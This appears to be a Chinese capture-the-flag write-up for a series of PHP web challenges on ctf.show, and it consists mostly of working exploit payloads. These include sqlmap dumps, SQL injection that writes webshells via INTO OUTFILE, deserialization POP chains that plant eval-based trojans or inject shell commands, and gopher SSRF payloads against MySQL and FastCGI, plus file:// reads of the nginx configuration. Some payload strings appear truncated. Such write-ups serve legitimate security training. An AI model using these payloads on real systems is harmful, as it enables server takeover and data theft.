下载源码分析checklogin.php,发现sql语句没有过滤。
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
sqlmap一把梭
sqlmap -u http://18bfacbb-1712-4a48-8a78-bd1446fc5987.challenge.ctf.show/checklogin.php --form --batch --dump
可以写文件
userid=a ' union select "" into outfile "/var/www/html/a.php"%23&userpwd=b
与上道题的变化不是很大,sql语句还是没有过滤,直接写文件
userid=a ' union select "" into outfile "/var/www/html/a.php"%23&userpwd=b
分析源码在dptadd.php有注入点,无过滤,但要求先登录,尝试弱口令admin,admin登录成功。
#查表名
dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
#查列名
dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23
#查flag
dpt_name=1',sds_address =(select flag from sds_fl9g)%23
和上面一样,只是表名变了
#查表名
dpt_name=1',sds_address =(select group_concat(table_name) from information_schema.tables where table_schema=database())%23
#查列名
dpt_name=1',sds_address =(select group_concat(column_name) from information_schema.columns where table_name='sds_flaag')%23
#查flag
dpt_name=1',sds_address =(select flag from sds_flaag)%23
查看源码发现多了waf,SQL注入应该是注不进去了。
function sds_waf($str){
if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
return false;
}else{
return true;
}
}
发现多了个class.php,并且在checklogin.php有反序列入口,到这里思路就清晰了。
poc:
class user{
public $username;
public $password;
public function __construct(){
$this->username='a.php';
$this->password='connect_error){
die("连接失败".$link->connect_error);
}
$sql="select * from sds_flabag";
$res= $link->query($sql);
$data=$res->fetch_all();
var_dump($data);
?>';
}
}
$a=new user();
echo urlencode(serialize($a));
写入一句话木马后用蚁剑连接查数据库即可,数据库的用户名和密码可以在conn.php中找到。
不知道什么问题,我的蚁剑在执行sql语句时就会卡住。所以我写入一个php查数据库的文件,可以正常查询。
在index.php和login.php中发现反序列化入口。
在class.php中发现危险函数file_put_contents
。
在dao类调用close
poc:
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
}
class log{
public $title='a.php';
public $info='';
}
$a=new dao();
echo base64_encode(serialize($a));
这道题的源码更符合MVC结构。
1.logut.php存在反序列化入口
2.dao类存在clearCache()
3.config类存在cache_dir
变量
poc:
class config{
public $cache_dir = ';echo "" >a.php;';//linux的shell里面$有特殊意义所以转义一下。
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo base64_encode(serialize($a));
?>
修改cookie,cookie是service不是user了。
访问
http://767e680f-e6aa-4d95-8a1c-e289cdc3b489.challenge.ctf.show/controller/a.php
1.index.php存在反序列化入口,并调用了checkVersion。
2.fun.php存在SSRF。
3.config.php发现数据库密码为空。
4.利用伪协议打mysql。
Give MySQL username: root
Give query to execute: select "$_POST[1]);?>" into outfile '/var/www/html/2.php'
poc:
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%31%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%01%00%00%00%01';
}
$a=new dao();
echo base64_encode(serialize($a));
?>
记得提前设置$_SESSION['login']
本题mysql
有密码,因此需要其他方式的攻击
通过gopher
协议的延时可以探测端口是否开放,开放的端口会保持连接,而未开放的端口会直接返回页面结果,经探测后9000
端口开放,基本可以确定是fastcgi
,继续利用gopherus
攻击即可。
poc:
class config{
public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH96%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%60%04%00%3C%3Fphp%20system%28%27echo%20%22%3C%3Fphp%20eval%28%5C%24_POST%5B1%5D%29%3B%3F%3E%22%20%3E%20shell.php%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo urlencode(base64_encode(serialize($a)));
?>
记得提前设置$_SESSION['login']
读配置文件:
class config{
public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo (base64_encode(serialize($a)));
?>
访问4476端口
class config{
public $update_url = 'http://127.0.0.1:4476';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
$a=new dao();
echo (base64_encode(serialize($a)));
?>